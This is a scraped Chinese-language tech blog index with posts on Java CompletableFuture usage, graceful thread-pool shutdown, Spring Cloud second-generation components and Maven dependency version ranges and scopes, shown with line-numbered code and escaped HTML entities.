whenCompleteAsync(BiConsumer\u0026lt;? super T,? super Throwable\u0026gt; action) public CompletableFuture\u0026lt;T\u0026gt; 108 * whenCompleteAsync(BiConsumer\u0026lt;? super T,? super Throwable\u0026gt; action, Executor executor) public 109 * CompletableFuture\u0026lt;T\u0026gt; exceptionally(Function\u0026lt;Throwable,? extends T\u0026gt; fn) 110 * 111 * 不以Async结尾的方法由原来的线程计算，以Async结尾的方法由默认的线程池ForkJoinPool.commonPool()或者指定的线程池executor运行。 112 * Java的CompletableFuture类总是遵循这样的原则 113 * 114 * 如果你希望不管 CompletableFuture 运行正常与否 都执行一段代码，如释放资源，更新状态，记录日志等，但是同时不影响原来的执行结果。 115 * 那么你可以使用 whenComplete 方法。exceptionally非常类似于 catch()，而 whenComplete 则非常类似于 finally: 116 */ 117 public static void whenComplete() throws ExecutionException, InterruptedException { 118 119 CompletableFuture\u0026lt;Integer\u0026gt; future = CompletableFuture.supplyAsync(new Supplier\u0026lt;Integer\u0026gt;() { 120 @Override 121 public Integer get() { 122 return 2323; 123 } 124 }); 125 Future\u0026lt;Integer\u0026gt; f = future.whenComplete((v, e) -\u0026gt; { 126 System.out.println(v); 127 System.out.println(e); 128 }); 129 System.out.println(f.get()); 130 131 } handle 是执行任务完成时对结果的处理\n1private static class HttpResponse { 2 3 private final int status; 4 private final String body; 5 6 public HttpResponse(final int status, final String body) { 7 this.status = status; 8 this.body = body; 9 } 10 11 @Override 12 public String toString() { 13 return status + \u0026#34; - \u0026#34; + body; 14 } 15 } 16 17 /** 18 * handle 是执行任务完成时对结果的处理。handle 方法和 thenApply 方法处理方式基本一样。不同的是 handle 是在任务完成后再执行，还可以处理异常的任务。 19 * 这组方法兼有whenComplete和转换的两个功能 20 * 21 * public \u0026lt;U\u0026gt; CompletionStage\u0026lt;U\u0026gt; handle(BiFunction\u0026lt;? super T, Throwable, ? extends U\u0026gt; fn); 22 * public \u0026lt;U\u0026gt; CompletionStage\u0026lt;U\u0026gt; handleAsync(BiFunction\u0026lt;? super T, Throwable, ? extends U\u0026gt; fn); 23 * public \u0026lt;U\u0026gt; CompletionStage\u0026lt;U\u0026gt; handleAsync(BiFunction\u0026lt;? super T, Throwable, ? extends U\u0026gt; fn,Executor executor); 24 * 25 * thenApply 只可以执行正常的任务，任务出现异常则不执行 thenApply 方法。 26 * public \u0026lt;U\u0026gt; CompletableFuture\u0026lt;U\u0026gt; thenApply(Function\u0026lt;? super T,? extends U\u0026gt; fn) 27 * public \u0026lt;U\u0026gt; CompletableFuture\u0026lt;U\u0026gt; thenApplyAsync(Function\u0026lt;? super T,? extends U\u0026gt; fn) 28 * public \u0026lt;U\u0026gt; CompletableFuture\u0026lt;U\u0026gt; thenApplyAsync(Function\u0026lt;? super T,? extends U\u0026gt; fn, Executor executor) 29 */ 30 public static void handle() throws ExecutionException, InterruptedException { 31 32 for (final boolean failure : new boolean[]{false, true}) { 33 34 CompletableFuture\u0026lt;Integer\u0026gt; x = CompletableFuture.supplyAsync(() -\u0026gt; { 35 if (failure) { 36 throw new RuntimeException(\u0026#34;Oops, something went wrong\u0026#34;); 37 } 38 return 42; 39 }); 40 41 /** * Returns a new CompletableFuture that, when this CompletableFuture completes either normally or exceptionally, * is executed with this stage\u0026#39;s result and exception as arguments to the supplied function. */ 42 CompletableFuture\u0026lt;HttpResponse\u0026gt; tryX = x 43 // Note that tryX and x are of different type. 44 .handle((value, ex) -\u0026gt; { 45 if (value != null) { 46 // We get a chance to transform the result... 47 return new HttpResponse(200, value.toString()); 48 } else { 49 // ... or return details on the error using the ExecutionException\u0026#39;s message: 50 return new HttpResponse(500, ex.getMessage()); 51 } 52 }); 53 54 // Blocks (avoid this in production code!), and either returns the promise\u0026#39;s value: 55 System.out.println(tryX.get()); 56 System.out.println(\u0026#34;isCompletedExceptionally = \u0026#34; + tryX.isCompletedExceptionally()); 57 58 } 59 60```java 61 62转换 63 64```cs 65 /** 66 * 转换 67 * @throws ExecutionException 68 * @throws InterruptedException 69 */ 70 public static void thenApply() throws ExecutionException, InterruptedException { 71 CompletableFuture\u0026lt;Integer\u0026gt; future = CompletableFuture.supplyAsync(() -\u0026gt; { 72 return 100; 73 }); 74 CompletableFuture\u0026lt;String\u0026gt; f = future.thenApplyAsync(i -\u0026gt; i * 10).thenApply(i -\u0026gt; i.toString()); 75 //\u0026#34;1000\u0026#34; 76 System.out.println(f.get()); 77 } 78 79```java 80 81Action 82 83```xml 84/** 85 * 上面的方法是当计算完成的时候，会生成新的计算结果(thenApply, handle)，或者返回同样的计算结果whenComplete 86 * CompletableFuture还提供了一种处理结果的方法，只对结果执行Action,而不返回新的计算值，因此计算值为Void: 87 * 88 * public CompletableFuture\u0026lt;Void\u0026gt; thenAccept(Consumer\u0026lt;? super T\u0026gt; action) 89 * public CompletableFuture\u0026lt;Void\u0026gt; thenAcceptAsync(Consumer\u0026lt;? super T\u0026gt; action) 90 * public CompletableFuture\u0026lt;Void\u0026gt; thenAcceptAsync(Consumer\u0026lt;? super T\u0026gt; action, Executor executor) 91 */ 92 public static void action() throws ExecutionException, InterruptedException { 93 94 CompletableFuture\u0026lt;Integer\u0026gt; future = CompletableFuture.supplyAsync(() -\u0026gt; { 95 return 100; 96 }); 97 CompletableFuture\u0026lt;Void\u0026gt; f = future.thenAccept(System.out::println); 98 System.out.println(f.get()); 99 100 } 101 102```java 103 104thenAccept 105 106```xml 107 /** 108 * thenAcceptBoth以及相关方法提供了类似的功能，当两个CompletionStage都正常完成计算的时候，就会执行提供的action，它用来组合另外一个异步的结果。 109 * runAfterBoth是当两个CompletionStage都正常完成计算的时候,执行一个Runnable，这个Runnable并不使用计算的结果。 110 * 111 * public \u0026lt;U\u0026gt; CompletableFuture\u0026lt;Void\u0026gt; thenAcceptBoth(CompletionStage\u0026lt;? extends U\u0026gt; other, BiConsumer\u0026lt;? super T,? super U\u0026gt; action) 112 * public \u0026lt;U\u0026gt; CompletableFuture\u0026lt;Void\u0026gt; thenAcceptBothAsync(CompletionStage\u0026lt;? extends U\u0026gt; other, BiConsumer\u0026lt;? super T,? super U\u0026gt; action) 113 * public \u0026lt;U\u0026gt; CompletableFuture\u0026lt;Void\u0026gt; thenAcceptBothAsync(CompletionStage\u0026lt;? extends U\u0026gt; other, BiConsumer\u0026lt;? super T,? super U\u0026gt; action, Executor executor) 114 * public CompletableFuture\u0026lt;Void\u0026gt; runAfterBoth(CompletionStage\u0026lt;?\u0026gt; other, Runnable action) 115 */ 116 public static void thenAcceptBoth() throws ExecutionException, InterruptedException { 117 CompletableFuture\u0026lt;Integer\u0026gt; future = CompletableFuture.supplyAsync(() -\u0026gt; { 118 return 100; 119 }); 120 CompletableFuture\u0026lt;Void\u0026gt; f = future.thenAcceptBoth(CompletableFuture.completedFuture(10), (x, y) -\u0026gt; System.out.println(x * y)); 121 System.out.println(f.get()); 122 123 } thenRun\n1/** 2 * 当计算完成的时候会执行一个Runnable,与thenAccept不同，Runnable并不使用CompletableFuture计算的结果。 3 * 4 * public CompletableFuture\u0026lt;Void\u0026gt; thenRun(Runnable action) 5 * public CompletableFuture\u0026lt;Void\u0026gt; thenRunAsync(Runnable action) 6 * public CompletableFuture\u0026lt;Void\u0026gt; thenRunAsync(Runnable action, Executor executor) 7 */ 8 public static void thenRun() throws ExecutionException, InterruptedException { 9 10 CompletableFuture\u0026lt;Integer\u0026gt; future = CompletableFuture.supplyAsync(() -\u0026gt; { 11 return 100; 12 }); 13 CompletableFuture\u0026lt;Void\u0026gt; f = future.thenRun(() -\u0026gt; System.out.println(\u0026#34;finished\u0026#34;)); 14 System.out.println(f.get()); 15 16 } 17 18```java 19 20复合 21 22```xml 23/** 24 * thenCombine用来复合另外一个CompletionStage的结果。它的功能类似 25 * 26 * A + 27 * | 28 * +------\u0026gt; C 29 * +------^ 30 * B + 31 * 32 * 两个CompletionStage是并行执行的，它们之间并没有先后依赖顺序，other并不会等待先前的CompletableFuture执行完毕后再执行。 33 * 34 * public \u0026lt;U,V\u0026gt; CompletableFuture\u0026lt;V\u0026gt; thenCombine(CompletionStage\u0026lt;? extends U\u0026gt; other, BiFunction\u0026lt;? super T,? super U,? extends V\u0026gt; fn) 35 * public \u0026lt;U,V\u0026gt; CompletableFuture\u0026lt;V\u0026gt; thenCombineAsync(CompletionStage\u0026lt;? extends U\u0026gt; other, BiFunction\u0026lt;? super T,? super U,? extends V\u0026gt; fn) 36 * public \u0026lt;U,V\u0026gt; CompletableFuture\u0026lt;V\u0026gt; thenCombineAsync(CompletionStage\u0026lt;? extends U\u0026gt; other, BiFunction\u0026lt;? super T,? super U,? extends V\u0026gt; fn, Executor executor) 37 * 38 * 其实从功能上来讲,它们的功能更类似thenAcceptBoth，只不过thenAcceptBoth是纯消费，它的函数参数没有返回值，而thenCombine的函数参数fn有返回值。 39 */ 40 public static void thenCombine() throws ExecutionException, InterruptedException { 41 42 CompletableFuture\u0026lt;Integer\u0026gt; future = CompletableFuture.supplyAsync(() -\u0026gt; { 43 return 100; 44 }); 45 CompletableFuture\u0026lt;String\u0026gt; future2 = CompletableFuture.supplyAsync(() -\u0026gt; { 46 return \u0026#34;abc\u0026#34;; 47 }); 48 CompletableFuture\u0026lt;String\u0026gt; f = future.thenCombine(future2, (x,y) -\u0026gt; y + \u0026#34;-\u0026#34; + x); 49 System.out.println(f.get()); //abc-100 50 51 } 52 53```java 54 55组合 56 57```cs 58/** 59 * 组合 60 * 这一组方法接受一个Function作为参数，这个Function的输入是当前的CompletableFuture的计算值，返回结果将是一个新的CompletableFuture， 61 * 这个新的CompletableFuture会组合原来的CompletableFuture和函数返回的CompletableFuture。因此它的功能类似: A +--\u0026gt; B +---\u0026gt; C 62 * 63 * thenCompose返回的对象并不是函数fn返回的对象，如果原来的CompletableFuture还没有计算出来，它就会生成一个新的组合后的CompletableFuture。 64 */ 65 public static void thenCompose() throws ExecutionException, InterruptedException { 66 67 CompletableFuture\u0026lt;Integer\u0026gt; future = CompletableFuture.supplyAsync(() -\u0026gt; { 68 return 100; 69 }); 70 CompletableFuture\u0026lt;String\u0026gt; f = future.thenCompose( i -\u0026gt; { 71 return CompletableFuture.supplyAsync(() -\u0026gt; { 72 return (i * 10) + \u0026#34;\u0026#34;; 73 }); 74 }); 75 System.out.println(f.get()); //1000 76 77 } 78 79```java 80 81Either 82 83```xml 84/** 85 * Either 语义：表示的是两个CompletableFuture，当其中任意一个CompletableFuture计算完成的时候就会执行。 86 * 87 * public CompletableFuture\u0026lt;Void\u0026gt; acceptEither(CompletionStage\u0026lt;? extends T\u0026gt; other, Consumer\u0026lt;? super T\u0026gt; action) 88 * public CompletableFuture\u0026lt;Void\u0026gt; acceptEitherAsync(CompletionStage\u0026lt;? extends T\u0026gt; other, Consumer\u0026lt;? super T\u0026gt; action) 89 * public CompletableFuture\u0026lt;Void\u0026gt; acceptEitherAsync(CompletionStage\u0026lt;? extends T\u0026gt; other, Consumer\u0026lt;? super T\u0026gt; action, Executor executor) 90 * public \u0026lt;U\u0026gt; CompletableFuture\u0026lt;U\u0026gt; applyToEither(CompletionStage\u0026lt;? extends T\u0026gt; other, Function\u0026lt;? super T,U\u0026gt; fn) 91 * public \u0026lt;U\u0026gt; CompletableFuture\u0026lt;U\u0026gt; applyToEitherAsync(CompletionStage\u0026lt;? extends T\u0026gt; other, Function\u0026lt;? super T,U\u0026gt; fn) 92 * public \u0026lt;U\u0026gt; CompletableFuture\u0026lt;U\u0026gt; applyToEitherAsync(CompletionStage\u0026lt;? extends T\u0026gt; other, Function\u0026lt;? super T,U\u0026gt; fn, Executor executor) 93 * 94 * 95 * acceptEither方法是当任意一个CompletionStage完成的时候，action这个消费者就会被执行。这个方法返回CompletableFuture\u0026lt;Void\u0026gt; 96 * 97 * applyToEither方法是当任意一个CompletionStage完成的时候，fn会被执行，它的返回值会当作新的CompletableFuture\u0026lt;U\u0026gt;的计算结果。 98 */ 99 public static void either() { 100 101 Random random = new Random(); 102 103 CompletableFuture\u0026lt;String\u0026gt; future1 = CompletableFuture.supplyAsync(() -\u0026gt; { 104 105 try { 106 Thread.sleep(random.nextInt(1000)); 107 } catch (InterruptedException e) { 108 e.printStackTrace(); 109 } 110 111 return \u0026#34;from future1\u0026#34;; 112 }); 113 114 CompletableFuture\u0026lt;String\u0026gt; future2 = CompletableFuture.supplyAsync(() -\u0026gt; { 115 116 try { 117 Thread.sleep(random.nextInt(1000)); 118 } catch (InterruptedException e) { 119 e.printStackTrace(); 120 } 121 122 return \u0026#34;from future2\u0026#34;; 123 }); 124 125 CompletableFuture\u0026lt;Void\u0026gt; haha = future1 126 .acceptEitherAsync(future2, str -\u0026gt; System.out.println(\u0026#34;The future is \u0026#34; + str)); 127 128 try { 129 System.out.println(haha.get()); 130 } catch (InterruptedException e) { 131 e.printStackTrace(); 132 } catch (ExecutionException e) { 133 e.printStackTrace(); 134 } 135 136 } All\n1 /** 2 * allOf方法是当所有的CompletableFuture都执行完后执行计算。 3 * anyOf接受任意多的CompletableFuture 4 * 5 * anyOf方法是当任意一个CompletableFuture执行完后就会执行计算，计算的结果相同。 6 */ 7 public static void allOfAndAnyOf() throws ExecutionException, InterruptedException { 8 9 Random rand = new Random(); 10 CompletableFuture\u0026lt;Integer\u0026gt; future1 = CompletableFuture.supplyAsync(() -\u0026gt; { 11 try { 12 Thread.sleep(10000 + rand.nextInt(1000)); 13 } catch (InterruptedException e) { 14 e.printStackTrace(); 15 } 16 return 100; 17 }); 18 CompletableFuture\u0026lt;String\u0026gt; future2 = CompletableFuture.supplyAsync(() -\u0026gt; { 19 try { 20 Thread.sleep(10000 + rand.nextInt(1000)); 21 } catch (InterruptedException e) { 22 e.printStackTrace(); 23 } 24 return \u0026#34;abc\u0026#34;; 25 }); 26 //CompletableFuture\u0026lt;Void\u0026gt; f = CompletableFuture.allOf(future1,future2); 27 CompletableFuture\u0026lt;Object\u0026gt; f = CompletableFuture.anyOf(future1,future2); 28 System.out.println(f.get()); 29 30 } 31 32```java 33 34allOf 如果其中一个失败了如何快速结束所有？ 35 36```cs 37/** 38 * allOf 如果其中一个失败了如何快速结束所有？ 39 * 40 * 默认情况下，allOf 会等待所有的任务都完成，即使其中有一个失败了，也不会影响其他任务继续执行。但是大部分情况下，一个任务的失败，往往意味着整个任务的失败，继续执行完剩余的任务意义并不大。 41 * 在 谷歌的 Guava 的 allAsList 如果其中某个任务失败整个任务就会取消执行: 42 * 43 * 一种做法就是对 allOf 数组中的每个 CompletableFuture 的 exceptionally 方法进行捕获处理：如果有异常，那么整个 allOf 就直接抛出那个异常: 44 */ 45 46 public static void allOfOneFail(){ 47 CompletableFuture\u0026lt;String\u0026gt; future1 = CompletableFuture.supplyAsync(() -\u0026gt; { 48 System.out.println(\u0026#34;-- future1 --\u0026gt;\u0026#34;); 49 try { 50 Thread.sleep(1000); 51 } catch (InterruptedException e) { 52 // TODO Auto-generated catch block 53 e.printStackTrace(); 54 } 55 System.out.println(\u0026#34;\u0026lt;-- future1 --\u0026#34;); 56 return \u0026#34;Hello\u0026#34;; 57 }); 58 59 CompletableFuture\u0026lt;String\u0026gt; future2 = CompletableFuture.supplyAsync(() -\u0026gt; { 60 System.out.println(\u0026#34;-- future2 --\u0026gt;\u0026#34;); 61 try { 62 Thread.sleep(2000); 63 } catch (InterruptedException e) { 64 // TODO Auto-generated catch block 65 e.printStackTrace(); 66 } 67 System.out.println(\u0026#34;\u0026lt;-- future2 --\u0026#34;); 68 throw new RuntimeException(\u0026#34;Oops!\u0026#34;); 69 }); 70 71 CompletableFuture\u0026lt;String\u0026gt; future3 = CompletableFuture.supplyAsync(() -\u0026gt; { 72 System.out.println(\u0026#34;-- future3 --\u0026gt;\u0026#34;); 73 try { 74 Thread.sleep(4000); 75 } catch (InterruptedException e) { 76 // TODO Auto-generated catch block 77 e.printStackTrace(); 78 } 79 System.out.println(\u0026#34;\u0026lt;-- future3 --\u0026#34;); 80 return \u0026#34;world\u0026#34;; 81 }); 82 83 // CompletableFuture\u0026lt;Void\u0026gt; combinedFuture = CompletableFuture.allOf(future1, future2, future3); 84 // combinedFuture.join(); 85 86 CompletableFuture\u0026lt;Void\u0026gt; allWithFailFast = CompletableFuture.allOf(future1, future2, future3); 87 Stream.of(future1, future2, future3).forEach(f -\u0026gt; f.exceptionally(e -\u0026gt; { 88 allWithFailFast.completeExceptionally(e); 89 return null; 90 })); 91 92 allWithFailFast.join(); 93 } 94 95```java 96 97我自己的一个demo 98 99```cpp 100 /** 101 * 假设你有一个集合，需要请求N个接口，接口数据全部返回后进行后续操作。 102 */ 103 public static void myDemo(){ 104 105 ArrayList\u0026lt;String\u0026gt; strings = Lists.newArrayList(\u0026#34;1\u0026#34;, \u0026#34;2\u0026#34;, \u0026#34;3\u0026#34;, \u0026#34;4\u0026#34;); 106 107 CompletableFuture[] cfs = strings.stream() 108 .map(s -\u0026gt; CompletableFuture.supplyAsync(() -\u0026gt; { 109 return s + \u0026#34; $\u0026#34;; 110 }).thenAccept(s1 -\u0026gt; { 111 System.out.println(s1+ \u0026#34; #\u0026#34;); 112 }).exceptionally(t -\u0026gt; { 113 return null; 114 })).toArray(CompletableFuture[]::new); 115 116 // 等待future全部执行完 117 CompletableFuture.allOf(cfs).join(); 118 119 } 关注公众号 获取更多精彩内容\n","date":"2020-07-29T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-07-29-duo-xian-cheng-zhi-completablefuture/cover.jpg","permalink":"/p/2020-07-29-duo-xian-cheng-zhi-completablefuture/","title":"多线程之 completableFuture"},{"content":"\n第一种方法 首先看下源码注释：\nA pool that is no longer referenced in a program AND\nhas no remaining threads will be {@code shutdown} automatically. If\nyou would like to ensure that unreferenced pools are reclaimed even\nif users forget to call {@link #shutdown}, then you must arrange\nthat unused threads eventually die, by setting appropriate\nkeep-alive times, using a lower bound of zero core threads and/or\nsetting {@link #allowCoreThreadTimeOut(boolean)}.\n如果程序中不再持有线程池的引用，并且线程池中没有线程时，线程池将会自动关闭。\n线程池自动关闭的两个条件：\n线程池的引用不可达；\n线程池中没有线程。\n这里对于条件2解释一下，线程池中没有线程是指线程池中的所有线程都已运行完自动消亡。然而如果我们ThreadPool的核心线程没有超时策略，线程池并不会自动关闭。\n所以需要设置：\n1//线程池在执行完任务后，经过超时时间，将所有空闲的线程都释放掉，进程池这样进程就可以退出 2pool.allowCoreThreadTimeOut(true); 3 4```java 5 6## 第二种方法 7 8利用Runtime.*getRuntime**()*.addShutdownHook 和guava的方法优雅关闭 9 10```cs 11static { 12 Runtime.getRuntime().addShutdownHook(new Thread(new Runnable() { 13 @Override 14 public void run() { 15 System.out.println(\u0026#34;====开始关闭线程池\u0026#34;); 16 CommonThreadPool.gracefulShutdown(pool, 10, TimeUnit.SECONDS); 17 System.out.println(\u0026#34;====结束关闭线程池\u0026#34;); 18 } 19 })); 20 } 21public static boolean gracefulShutdown(ExecutorService threadPool, int shutdownTimeout, 22 TimeUnit timeUnit) { 23 return threadPool == null || MoreExecutors 24 .shutdownAndAwaitTermination(threadPool, shutdownTimeout, timeUnit); 25 } 误区 不要将线程池线程设置为守护线程，虽然守护线程不会阻止 JVM 退出****，但这样做有问题，如果有还未执行完的任务就会出现异常了，（任务还没执行完就退出）\n关注公众号 获取更多精彩内容\n","date":"2020-07-29T02:53:58Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-07-29-xian-cheng-chi-you-ya-guan-bi/cover.jpg","permalink":"/p/2020-07-29-xian-cheng-chi-you-ya-guan-bi/","title":"线程池优雅关闭"},{"content":"\n先来看一下第一代 spring cloud 的组件 组件名称\n功能\n描述\nEureka服务治理（注册、发现......）\nRibbon\n客户端负载均衡器\nHystrix\n服务之间远程调用时的熔断保护\nHystrix 的使用主要有三种方式\nHystrixCommand 注解方式\n结合 Feign 使用\n结合 Zuul 使用\nFeign\n通过定义接口的方式直接调用其他服务的 API\nZuul服务网关\n提供了路由、监控、弹性、安全等服务。Zuul 能够与 Eureka、Ribbon、Hystrix 等组件配合使用。\nConfig\n分布式配置中心组件\nSleuth\n用于请求链路跟踪\nStream\n用来为微服务应用构建消息驱动能力\nspring cloud 现在已经是一种标准了，各公司可以基于它的编程模型编写自己的组件 ，比如Netflix、阿里巴巴都有自己的一套通过spring cloud 编程模型开发的分布式服务组件 。\nSpring Cloud Alibaba 主要包含 Sentinel、Nacos、RocketMQ、Dubbo、Seata 等组件。\nSpring Cloud 二代组件 二代引入了 Spring Cloud Alibaba\n第一代组件\n第二代组件\u0026nbsp;\nEureka\nNacos\nConfig\nApollo\nZuul\nspring cloud gateway\nHystrix\nSentinel Eureka VS Nacos Eureka 之前官方也宣布了暂停了 2.X 版本的开发，1.X 的版本还会维护。其实对于一般的服务规模，目前的 Eureka 完全够用了。而 Nacos 作为后起之秀，目前更新频率很高，社区也更活跃，使用 Nacos 是一个正确的选择。\nApollo VS Spring Cloud Config 功能\nspring cloud config\napollo\n统一配置管理\n集成Git\n自带存储(MySql)\n多环境区分\n配置指定\n配置指定\n实时更新\nBus消息总线\nHttp长连接\n定时拉取\n需要自己扩展\n支持\n权限控制\n需要Git支持\n支持\n版本管理\nGit版本\n有直接的版本功能，一键恢复指定版本\nWeb管理后台\n无\n有\nZuul VS Spring Cloud Gateway 在 Spring Cloud Gateway 出现之前，网关都是用 Zuul 构建的，虽然 Netflix 开源了 Zuul2，由于各种原因，官方并没有打算将 Zuul2 集成到 Spring Cloud 体系中。而是自己研发了一个全新的网关 Spring Cloud Gateway，由于 Zuul1 基于 Servlet 构建，使用的是阻塞的 IO，性能并不是很理想。Spring Cloud Gateway 则基于 Spring 5、Spring boot 2 和 Reactor 构建，使用 Netty 作为运行时环境，比较完美的支持异步非阻塞编程。\n官方提供的压测报告显示 Spring Cloud Gateway 的性能是 Zuul 的 1.5 倍，Spring Cloud Gateway 刚出不久，稳定性有待验证，主要是缺乏大规模流量的验证，而 Zuul 开源的时间较长，同时在 Netflix 内部经过了大规模流量的验证，比较稳定。长期发展来说，Spring Cloud Gateway 的优势比较大，毕竟官方主推。\nHystrix VS Sentinel Hystrix 替换成了 Sentinel，Hystrix 也停止了开发，这个时候 Spring Cloud Alibaba 中的 Sentinel 的优势就很明显了，Sentinel 支持多样化的流量控制，熔断降级等功能，完全可以替代 Hystrix。\n其他 分布式事务：Seata\n消息队列: RocketMQ\n调用链监控：Apache Skywalking\n日志查询： ELK\n指标监控： Prometheus\n分布式缓存: Redis\n分布式定时任务：XXL-JOB\n整体架构组件 基于以上，如果我来设计系统架构，那么将用以下组件\n组件\n功能\nNacos\n服务注册中心\nApollo\n分布式配置中心\nXXL-JOB\n分布式定时任务中心\nSpringBoot\n微服务组件\u0026nbsp;\nSentinel\n服务熔断限流组件\u0026nbsp;\nSpring Cloud Gateway\n微服务网关\nSpring Cloud OpenFeign\n服务通信调用\nSeata\n分布式事务\nRocketMQ\n消息队列\nSkywalking\n服务调用链监控系统\nRedis\n分布式缓存\u0026nbsp;\nELK\n日志收集、查询系统\nPrometheus\nMetrics指标监控系统\n此外，微服务集群是以容器的方式部署的，用K8S进行docker集群管理。\n关注公众号 获取更多精彩内容\n","date":"2020-07-22T23:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-07-22-spring-cloud-er-dai-zu-jian/cover.jpg","permalink":"/p/2020-07-22-spring-cloud-er-dai-zu-jian/","title":"Spring Cloud 二代组件"},{"content":"\nmaven 指定依赖版本范围 有时我们为了不频繁修****改依赖的版本号，会直接指定一个范围，如果你需要一直依赖最新版本就能省些事儿，当然也可以根据你的版本需求进行配置。\nA square bracket ( [ \u0026amp; ] ) means \u0026ldquo;closed\u0026rdquo; (inclusive).\nA parenthesis ( ( \u0026amp; ) ) means \u0026ldquo;open\u0026rdquo; (exclusive).\nRange\nMeaning\n描述\n1.0\nx \u0026gt;= 1.0 * The default Maven meaning for 1.0 is everything (,) but with 1.0 recommended. Obviously this doesn't work for enforcing versions here, so it has been redefined as a minimum version.1.0的默认Maven含义是所有（，）但建议使用1.0。如果没有1.0则通常表示1.0或更高版本。\n(,1.0]x \u0026lt;= 1.0依赖小于等于1.0的版本\n(,1.0)x \u0026lt; 1.0依赖等于1.0的版本\n[1.0]x == 1.0\n声明确切版本[1.0,)x \u0026gt;= 1.0依赖大于等于1.0的版本\n(1.0,)x \u0026gt; 1.0\n依赖大于1.0的版本\n(1.0,2.0)1.0 \u0026lt; x \u0026lt; 2.0依赖大于1.0小于2.0的版本\n[1.0,2.0]1.0 \u0026lt;= x \u0026lt;= 2.0依赖大于等于1.0小于等于2.0的版本\n(,1.0],[1.2,)x \u0026lt;= 1.0 or x \u0026gt;= 1.2. Multiple sets are comma-separated依赖小于等于1.0，或大于等于1.2的版本（多组以逗号分隔）\n(,1.1),(1.1,)x != 1.1依赖不包括1.1的版本\n1\u0026lt;dependency\u0026gt; 2 \u0026lt;groupId\u0026gt;org.projectlombok\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;lombok\u0026lt;/artifactId\u0026gt; 4 \u0026lt;version\u0026gt;[1.18.8,1.18.12]\u0026lt;/version\u0026gt; 5\u0026lt;/dependency\u0026gt; 6 7```html 8 9## 快照 10 11一般我们在开发阶段包的版本会定义为：**snapshot** 12 13```xml 14 \u0026lt;dependency\u0026gt; 15 \u0026lt;groupId\u0026gt;data-service\u0026lt;/groupId\u0026gt; 16 \u0026lt;artifactId\u0026gt;data-service\u0026lt;/artifactId\u0026gt; 17 \u0026lt;version\u0026gt;1.0-SNAPSHOT\u0026lt;/version\u0026gt; 18 \u0026lt;scope\u0026gt;test\u0026lt;/scope\u0026gt; 19 \u0026lt;/dependency\u0026gt; 20 21```html 22 23每次构建项目时，Maven 将自动获取最新的快照。虽然，快照的情况下，Maven 在日常工作中会自动获取最新的快照， 你也可以在任何 maven 命令中使用 -U 参数强制 maven 现在最新的快照构建。 24 25mvn clean package -U 26 27**使用快照我们就不用频繁与依赖自己开发包的同事进行沟通了。maven会自动更新并引用最新快照。** 28 29## Maven 构建生命周期 30 31![Image](002-c2e02ea6.png \u0026#34;image.png\u0026#34;) 32 33| 阶段 | 处理 | 描述 | 34| --- | --- | --- | 35| 验证 validate | 验证项目 | 验证项目是否正确且所有必须信息是可用的 | 36| 编译 compile | 执行编译 | 源代码编译在此阶段完成 | 37| 测试 Test | 测试 | 使用适当的单元测试框架（例如JUnit）运行测试。 | 38| 包装 package | 打包 | 创建JAR/WAR包如在 pom.xml 中定义提及的包 | 39| 检查 verify | 检查 | 对集成测试的结果进行检查，以保证质量达标 | 40| 安装 install | 安装 | 安装打包的项目到本地仓库，以供其他项目使用 | 41| 部署 deploy | 部署 | 拷贝最终的工程包到远程仓库中，以共享给其他开发人员和工程 | 42 43## 利用持续集成工具实现自动化构建 44 45比如你需要在本项目 46 47- 代码提交 48 49- 项目build 50 51- 项目deploy 52 53- ...... 54 55这些情况下其他项目跟着一起构建，比如你的jar包升级需要其他项目自动构建拉取最新版本时(可以结合版本范围控制)。 56 57**可以使用jenkins的自动化构建流程功能进行设计。(build after other projects are built)** 58 59**![Image](003-3f0ad123.png \u0026#34;image.png\u0026#34;)** 60 61## 一些基础知识 62 63### 依赖传递(Transitive Dependencies) 64 65依赖传递(Transitive Dependencies)是Maven 2.0开始的提供的特性，依赖传递的好处是不言而喻的，可以让我们不需要去寻找和发现所必须依赖的库，而是将会自动将需要依赖的库帮我们加进来。 66 67例如A依赖了B，B依赖了C和D，那么你就可以在A中，像主动依赖了C和D一样使用它们。并且传递的依赖是没有数量和层级的限制的，非常方便。 68 69但依赖传递也不可避免的会带来一些问题，例如： 70 71- 当依赖层级很深的时候，可能造成循环依赖(cyclic dependency) 72 73- 当依赖的数量很多的时候，依赖树会非常大 74 75针对这些问题，Maven提供了很多管理依赖的特性 76 77### 依赖调节(Dependency mediation) 78 79依赖调节是为了解决版本不一致的问题(multiple versions),并采取就近原则(nearest definition)。 80 81举例来说，A项目通过依赖传递依赖了两个版本的D： 82 83A -\u0026gt; B -\u0026gt; C -\u0026gt; ( D 2.0) , A -\u0026gt; E -\u0026gt; (D 1.0), 84 85那么最终A依赖的D的version将会是1.0，因为1.0对应的层级更少，也就是更近。 86 87### scope 依赖范围 88 89 Maven的生命周期存在编译、测试、运行这些过程,那么显然 90 91- 有些依赖只用于测试比如junit； 92 93- 有些依赖编译用不到，只有运行的时候才能用到,比如mysql的驱动包在编译期就用不到（编译期用的是JDBC接口），而是在运行时用到的； 94 95- 还有些依赖，编译期要用到，而运行期不需要提供，因为有些容器已经提供了，比如servlet-api在tomcat中已经提供了，我们只需要的是编译期提供而已。 96 97总结说来，在POM 4中,，中还引入了，\u0026lt;dependency\u0026gt;中还引入了\u0026lt;scope\u0026gt;，它主要管理依赖的部署。大致有**compile、provided、runtime、test、system**等几个。 98 99| scope | 说明 | 示例 | 100| --- | --- | --- | 101| compile | 编译时需要用到该jar包（默认） | commons-logging | 102| test | 编译Test时需要用到该jar包 | junit | 103| runtime | 编译时不需要，但运行时需要用到 | mysql | 104| provided | 编译时需要用到，但运行时由JDK或某个服务器提供 | servlet-api | 105 106```xml 107\u0026lt;dependency\u0026gt; 108 \u0026lt;groupId\u0026gt;org.springframework\u0026lt;/groupId\u0026gt; 109 \u0026lt;artifactId\u0026gt;spring-test\u0026lt;/artifactId\u0026gt; 110 \u0026lt;scope\u0026gt;test\u0026lt;/scope\u0026gt; 111\u0026lt;/dependency\u0026gt; 112 113```html 114 115#### scope 的依赖传递 116 117 A -\u0026gt; B -\u0026gt; C 当前项目 A，A依赖于B，B依赖于C 118 119 **知道 B 在 A中的scope，怎么知道 C在 A 中的 scope ?** 即A需不需要 C的问题，本质由 C在B中的scope决定 120 121 